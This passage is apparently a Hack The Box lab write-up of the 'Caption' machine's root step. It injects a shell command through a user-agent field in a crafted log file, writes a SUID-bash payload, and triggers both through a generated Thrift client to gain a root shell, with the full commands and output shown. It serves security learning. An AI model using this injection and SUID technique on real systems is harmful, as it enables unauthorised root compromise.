Logservice
┌──(kali㉿kali)-[~/archive/htb/labs/caption]
└─$ ssh margo@$IP -i ./id_ecdsa.margo -L 9090:127.0.0.1:9090 -N -f
The server application is running on the target internal port 9090
It would need to tunnel it to access the server application
margo@caption:~$ nano /tmp/malicious.log
margo@caption:~$ cat /tmp/malicious.log
127.0.0.1 "user-agent":"'; /bin/bash /tmp/payload.sh #"
The logs
variable contains the userAgent
variable, which I can have control over
I will place the stager in the user-agent
attribute, which will be passed on to the userAgent
variable then the logs
variable. The stager executes the payload at /tmp/payload.sh
margo@caption:~$ nano /tmp/payload.sh
margo@caption:~$ cat /tmp/payload.sh
#!/bin/bash
cp /bin/bash /tmp/pe
chmod +s /tmp/pe
The payload is a simple bash script to copy the bash binary and turning it into a SUID binary
margo@caption:~$ nano log_service.thrift
margo@caption:~$ cat log_service.thrift
namespace go log_service
service LogService {
string ReadLogFile(1: string filePath)
}
The server application uses the thrift framework, so I need to create a thrift file
margo@caption:~$ thrift -r --gen py log_service.thrift ; cd gen-py
Then I can use the thrift file to generate a Python client
margo@caption:~/gen-py$ nano client.py
margo@caption:~/gen-py$ cat client.py
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService # Import generated Thrift client code
def main():
# Set up a transport to the server
transport = TSocket.TSocket('localhost', 9090)
# Buffering for performance
transport = TTransport.TBufferedTransport(transport)
# Using a binary protocol
protocol = TBinaryProtocol.TBinaryProtocol(transport)
# Create a client to use the service
client = LogService.Client(protocol)
# Open the connection
transport.open()
try:
# Specify the log file path to process
log_file_path = "/tmp/malicious.log"
# Call the remote method ReadLogFile and get the result
response = client.ReadLogFile(log_file_path)
print("Server response:", response)
except Thrift.TException as tx:
print(f"Thrift exception: {tx}")
# Close the transport
transport.close()
if __name__ == '__main__':
main()
The client application should contain the log file, which is the stager that I set up earlier
┌──(kali㉿kali)-[~/archive/htb/labs/caption]
└─$ scp -i ./id_ecdsa.margo -r margo@$IP:~/gen-py .
ttypes.py 100% 440 10.8KB/s 00:00
LogService-remote 100% 2777 66.4KB/s 00:00
constants.py 100% 366 9.0KB/s 00:00
__init__.py 100% 48 1.2KB/s 00:00
LogService.py 100% 8031 195.2KB/s 00:00
client.py 100% 1074 25.4KB/s 00:00
I will then transfer the whole client package to Kali
┌──(kali㉿kali)-[~/archive/htb/labs/caption]
└─$ python3 -m venv myVenv ; source ./myVenv/bin/activate
Instantiating a Python virtual environment
┌──(myVenv)─(kali㉿kali)-[~/archive/htb/labs/caption]
└─$ pip3 install thrift
Collecting thrift
Using cached thrift-0.20.0-cp311-cp311-linux_x86_64.whl
Collecting six>=1.7.2 (from thrift)
Using cached six-1.16.0-py2.py3-none-any.whl.metadata (1.8 kB)
Using cached six-1.16.0-py2.py3-none-any.whl (11 kB)
Installing collected packages: six, thrift
Successfully installed six-1.16.0 thrift-0.20.0
Installing the thrift module
┌──(myVenv)─(kali㉿kali)-[~/archive/htb/labs/caption]
└─$ python3 gen-py/client.py
Server response: Log file processed
Executing the client application
SUID bash has been generated
margo@caption:/tmp$ ./pe -p
pe-5.1# whoami
root
pe-5.1# hostname
caption
pe-5.1# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:94:38:74 brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname ens160
inet 10.129.226.125/16 brd 10.129.255.255 scope global dynamic eth0
valid_lft 2667sec preferred_lft 2667sec
System Level Compromise